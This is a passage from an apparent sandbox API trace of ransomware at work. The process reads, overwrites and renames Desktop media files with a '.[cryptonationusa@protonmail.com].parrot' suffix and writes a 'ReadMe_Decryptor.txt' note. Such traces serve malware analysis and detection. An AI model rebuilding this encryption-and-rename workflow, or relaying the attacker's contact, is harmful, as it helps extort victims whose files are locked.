(HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0031.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0031.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0031.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0031.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0031.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0031.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0031.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0031.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.806] GetLastError () returned 0x0 [0031.806] SetLastError (dwErrCode=0x0) [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.807] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0031.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0031.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0031.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0031.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0031.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0031.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0031.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0031.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0031.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0031.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0031.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0031.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0031.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0031.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0031.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0031.809] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0031.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x635298 [0031.810] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6399e8 [0031.810] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0031.810] WriteFile (in: hFile=0x23c, lpBuffer=0x639a00*, nNumberOfBytesToWrite=0x6508, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x639a00*, lpNumberOfBytesWritten=0x18fa94*=0x6508, lpOverlapped=0x0) returned 1 [0031.810] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6399e8 | out: hHeap=0x5b0000) returned 1 [0031.811] UnlockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x64fb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0031.811] CloseHandle (hObject=0x23c) returned 1 [0031.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b478 [0031.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x601838 [0031.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0031.812] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\enOc.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\enoc.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\enOc.avi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\enoc.avi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0031.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0031.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0031.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0031.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0031.813] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0031.813] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0031.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0031.814] GetFileType (hFile=0x23c) returned 0x1 [0031.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0031.823] lstrcmpW (lpString1="gagRZ0deZcKJ.jpg", lpString2="ReadMe_Decryptor.txt") returned -1 [0031.823] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gagRZ0deZcKJ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gagrz0dezckj.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0031.824] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x83dd [0031.824] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x84f5, nNumberOfBytesToLockHigh=0x0) returned 1 [0031.824] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0031.824] ReadFile (in: hFile=0x23c, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0031.824] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.824] ReadFile (in: hFile=0x23c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x83dd, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0x83dd, lpOverlapped=0x0) returned 1 [0031.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0031.824] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0031.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0031.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0031.824] GetLastError () returned 0x0 [0031.824] SetLastError (dwErrCode=0x0) [0031.824] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0031.903] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0031.903] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0031.903] GetLastError () returned 0x0 [0031.903] SetLastError (dwErrCode=0x0) [0031.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.903] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.903] GetLastError () returned 0x0 [0031.903] SetLastError (dwErrCode=0x0) [0031.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.903] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.903] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0031.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0031.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0031.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0031.904] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0031.904] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0031.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0031.904] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.905] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x635298 [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0031.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x6069b0 [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0031.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.907] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0031.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0031.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0031.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0031.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0031.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0031.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0031.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0031.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0031.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0031.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0031.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0031.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0031.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0031.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0031.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0031.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0031.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0031.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0031.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0031.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0031.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0031.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0031.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0031.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0031.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0031.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0031.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0031.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x62c1b0 [0031.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6452d8 [0031.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62c1b0 | out: hHeap=0x5b0000) returned 1 [0031.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x629218 [0031.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0031.909] WriteFile (in: hFile=0x23c, lpBuffer=0x629220*, nNumberOfBytesToWrite=0x84f8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x629220*, lpNumberOfBytesWritten=0x18fa94*=0x84f8, lpOverlapped=0x0) returned 1 [0031.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.911] UnlockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x84f5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0031.911] CloseHandle (hObject=0x23c) returned 1 [0031.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0031.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x601838 [0031.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0031.912] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gagRZ0deZcKJ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gagrz0dezckj.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gagRZ0deZcKJ.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gagrz0dezckj.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0032.052] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.052] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0032.052] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0032.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0032.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0032.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0032.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0032.057] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.057] GetFileType (hFile=0x23c) returned 0x1 [0032.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0032.068] lstrcmpW (lpString1="gMaJkZ-LS.mp4", lpString2="ReadMe_Decryptor.txt") returned -1 [0032.068] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gMaJkZ-LS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmajkz-ls.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.068] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0xd78e [0032.068] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd8a6, nNumberOfBytesToLockHigh=0x0) returned 1 [0032.068] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, 